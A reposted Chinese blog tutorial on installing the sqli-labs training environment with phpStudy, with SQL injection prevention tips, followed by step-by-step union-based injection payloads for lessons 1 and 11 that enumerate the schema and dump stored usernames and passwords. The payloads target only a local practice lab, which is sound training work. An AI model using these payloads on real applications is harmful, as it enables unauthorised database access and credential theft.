在Windows10中搭建 Sqli-labs環境


 
 
 
 
 
 

 

一、SQL注入是什么

SQL注入是一種注入攻擊手段,通過執行惡意SQL語句,進而將任意SQL代碼插入數據庫查詢,從而使攻擊者完全控制Web應用程序后台的數據庫服務器。攻擊者可以使用SQL注入漏洞繞過應用程序驗證,比如繞過登錄驗證登錄Web身份驗證和授權頁面;也可以繞過網頁,直接檢索數據庫的所有內容;還可以惡意修改、刪除和增加數據庫內容。

二、防止SQl注入的思路和方法

  • 1.永遠不要信任用戶的輸入。對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和 雙"-"進行轉換等。
  • 2.永遠不要使用動態拼裝SQL,可以使用參數化的SQL或者直接使用存儲過程進行數據查詢存取。
  • 3.永遠不要使用管理員權限的數據庫連接,為每個應用使用單獨的權限有限的數據庫連接。
  • 4.不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
  • 5.應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝

三、環境搭建

1.下載地址

SQLiLabs源碼下載:https://github.com/Audi-1/sqli-labs
使用phpstudy搭建: https://www.xp.cn/
phpStudy是一個PHP調試環境的程序集成包。恰好我們可以用到”PHP+Mysql+Apache”

2.配置

將之前下載的源碼解壓到phpstudy安裝目錄下的www目錄下,修改sql-connections/db-creds.inc文件當中的mysql賬號密碼!默認的mysql數據庫地址是“127.0.0.1 或 localhost”,用戶名和密碼都是”root”。主要是修改’$dbpass參數並保存

<?php

//give your mysql connection username n password
$dbuser ='root';
$dbpass ='123456';
$dbname ="security";
$host = '127.0.0.1';
$dbname1 = "challenges";

?>

打開瀏覽器http://localhost/sqli-labs-master/  訪問首頁,並點擊“Setup/reset Database”以創建數據庫,創建表並填充數據

3.注意

現在phpstudy軟件由於版本比較高,默認PHP版本已經到了7.4,使用會有問題,所以再使用之前一定要切換到老版本,我這里使用的是PHP5.3

四、實操練習

GET字符型注入  Less-1
1.確定分隔符是 單引號 或者 雙引號
http://localhost/sqli-labs-master/Less-1/?id=2'

2.確定表的 字段數(列數)  -- -
http://localhost/sqli-labs-master/Less-1/?id=2'  order by 3 -- -

-- - 注釋符號

3.占位符判斷
判斷后端代碼 取接口那幾列數據
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3  -- -

4.查詢數據庫名
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database()  -- -

5.查詢表名
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema='security'  -- -

6.查詢列名

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),2 from information_schema.columns where table_schema='security' and table_name='users' -- -

7.查詢感興趣的表數據
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password)  from users -- -


POST 字符型注入  Less-11
1.確定閉合符號
url: http://localhost/sqli-labs-master/Less-11/
data:uname=admin'&passwd=admin&Submit=submit

報錯即可確定閉合符號

2.確定列數
url: http://localhost/sqli-labs-master/Less-11/
data:uname=admin' order by 1 -- - &passwd=xxxxxx&Submit=submit


3.占位符判斷,判讀給那個位置
url: http://localhost/sqli-labs-master/Less-11/
data:uname=admin' union select 1,2 -- - &passwd=xxxxxx&Submit=submit

4.數據庫名
url: http://localhost/sqli-labs-master/Less-11/
data:uname=-admin' union select 1,database() -- - &passwd=xxxxxx&Submit=submit

5.查表名
url: http://localhost/sqli-labs-master/Less-11/
data:uname=-admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' -- -&passwd=xxxxxx&Submit=submit

6.查字段名
url: http://localhost/sqli-labs-master/Less-11/
data:uname=-admin' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- -&passwd=xxxxxx&Submit=submit

7.查詢數據
url: http://localhost/sqli-labs-master/Less-11/
data:uname=-admin' union select group_concat(username),group_concat(password)  from users -- -&passwd=xxxxxx&Submit=submit

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM